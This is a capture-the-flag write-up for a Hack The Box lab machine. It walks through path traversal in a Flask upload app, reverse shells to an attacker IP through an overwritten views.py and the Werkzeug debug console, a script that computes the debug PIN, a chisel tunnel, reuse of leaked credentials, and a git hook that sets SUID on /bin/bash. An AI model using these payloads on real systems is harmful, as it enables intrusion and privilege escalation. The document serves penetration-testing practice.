Machine: https://app.hackthebox.com/machines/471
Enumeration
Services / Versions
- As always, we use nmap to get service and version of the target
sudo nmap -p- -sS -n -Pn --min-rate 5000 10.10.11.164 -oG allPorts
Result
- And a version enumeration and run some common scripts
sudo nmap -p22,80 -sVC -Pn -n --min-rate 5000 10.10.11.164 -oN Targeted
Result
Web Service Enumeration
- In order to get knowledge of the target, we can use some tools to get info about the technologies used in the web side
Used Technologies
whatweb http://<ip>
Result
![]()
Web Features
- It using “werkzeug 2.1.2” we can try somethings like bypass console PIN because the Debug is enabled, but first we need to find a path traversal / LFI in order to get
uuid.getnode()
andget_machine_id()
Result
- we can upload our files to the service
Result
- The web allow us to download, what appears to be, que source code of the web application, so after reading the content we know:
- Web applicaction is deployed in a docker container
- User “root” is running the service
- We know how the upload service works, and seem to be susceptible to FLI
Result
- If we look closer we can see that there is a function named
get_file_name()
that come fromapp.utils
so lets check it
Result
- looks like is replacement the string
../
in order to avoid path traversal
Result
- That’s means that we have a Directory Path Traversal using
curl http://10.10.11.164/uploads/..//etc/hosts --path-as-is --ignore-content-length
Exploitation
Inicial Access 1st Method
- We can exploit the function
os.path.join()
(because if we use/
the left path of the command will be removed)
Like this:
/route/to/path/public/uploads</MyFileName>
to/MyfileName
- We can change the file
view.py
to a custom file with a custom function like this, in order to get a revershell (we know that the path is/app/app/
because source code and a information leakage when we upload a wrong)
Information leakage
@app.route('/shell')
def cmd():
return os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.5 4444 >/tmp/f")
Result
- so if we research this new route
/shell
the python code while be executed
curl http://10.10.11.164/shell
Result
- In order to get a better experience we can upgrade the tty using python (we use sh because there is no bash)
python3 -c 'import pty;pty.spawn("/bin/sh")'
ctrl + z
stty raw echo; fg
reset xterm
export PS1="\u@\h:\w\# "
export TERM=xterm-256color
Result
Inicial Access 2nd Method
- As we saw above we have a LFI so we have access to the data we need to generate a PIN code to get access to debug console, so the MAC address:
curl http://10.10.11.164/uploads/..//sys/class/net/eth0/address --path-as-is --ignore-content-length
python -c 'print(0x0242ac110007)'
Result
- And get this value
/proc/sys/kernel/random/boot_id
in my casee9630489-23dd-47bb-b05d-3250757832dc
and u have to append de value of/proc/self/cgroup
(last slash)
curl http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id --path-as-is --ignore-content-length
curl http://10.10.11.164/uploads/..//proc/self/cgroup --path-as-is --ignore-content-length
Result
- so the final code is this:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892359',# str(uuid.getnode()), /sys/class/net/ens33/address
'e9630489-23dd-47bb-b05d-3250757832dcd746c2d220c5026b8883a99ea419aa1ebbf18f6394ace10a42985ca7f4eca816'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Result
- if we type de code doesnt works
Result
![]()
- This happened because the version of the application, we have to chain the encrypt mode to
sha1
, like this
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892359',# str(uuid.getnode()), /sys/class/net/ens33/address
'e9630489-23dd-47bb-b05d-3250757832dcd746c2d220c5026b8883a99ea419aa1ebbf18f6394ace10a42985ca7f4eca816'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
- now we have access to debug console
import os
os.popen('whoami').read().strip()
Result
- send the revershell
import os
os.popen('nc 10.10.16.5 4444 -e sh').read().strip()
Result
![]()
- tty sanitization
python3 -c 'import pty;pty.spawn("/bin/sh")'
ctrl + z
stty raw echo; fg
reset xterm
export PS1="\u@\h:\w\# "
export TERM=xterm-256color
Docker Breakout
- After a while enumerating the container, i couldn’t find nothing, but i remember something, i didnt enumerate the git repo branches
Enumerate Git Branch
- Looking for more data we can select an other branch in the git repo
git branch
Result
- We have an other branch so lets enumerate the commits
git log dev
Result
- now if we check the content we can see this
git show a76f8f75f7a4a12b706b0cf9c983796fa1985820
Result
Pivoting
- We found a user
dev01:Soulless_Developer#2022"
, can we use this credentials to get access via ssh, but we cant…
ssh dev01@10.10.11.164
Result
- but we can connect through the container, the only thing that we need is the address of this interface (usualy end with
1
)
ip a
ping -c 1 172.17.0.1
Result
- we need to perform a port enumeration but we cant use this method
echo "" > /dev/tcp/172.17.0.1/22
, because this path dont exit
Result
- we can use nc instead of the previous method
for port in $(seq 1 10000); do nc 172.17.0.1 $port -zv; done
Result
- The port 3000 looks interesting because on the previus nmap enumeration, was flagged as filtered, lets check what is it
wget http://172.17.0.1:3000/ -q
Result
- So there are a gitea repo, we can use chisel to perform a remote port forwarding to get access
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel
chmod +x chisel
- optionally we can reduce the file size
du -hc chisel
upx chisel
- Transfer the executable (i had to use port 8000, because port 80 dosent works)
Result
chmod +x chisel
- using chisel
- Attacker:
./chisel server --reverse -p 1234
Result
- Client
./chisel client 10.10.16.5:1234 R:3000:172.17.0.1:3000
Result
- now the tunnel is setted
lsof -i:3000
Result
GITEA Enumeration
- We can use the found creds to log in on this service, and looks like he have a private repo
Result
- perfect, we have ssh keys lets try to use it (we have to change the file’s privileges)
chmod 600 id_rsa
ssh dev01@10.10.11.164 -i id_rsa
Result
Privilege Escalation
Process Enumeration
- We can use pspy64 in order to get all running process or contabs
git clone https://github.com/DominicBreuker/pspy
cd pspy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build .
Result
![]()
- It looks like is doing sync the git repo and making some backups, we can use hooks to write a pre commit action when a commit happened
echo 'chmod u+s /bin/bash' > /home/dev01/.git/hooks/pre-commit
chmod +x ~/.git/hooks/pre-commit
watch -n 1 ls -l /bin/bash
- And if we wait…
Before
After
- perfect now we are root!
bash -p
Result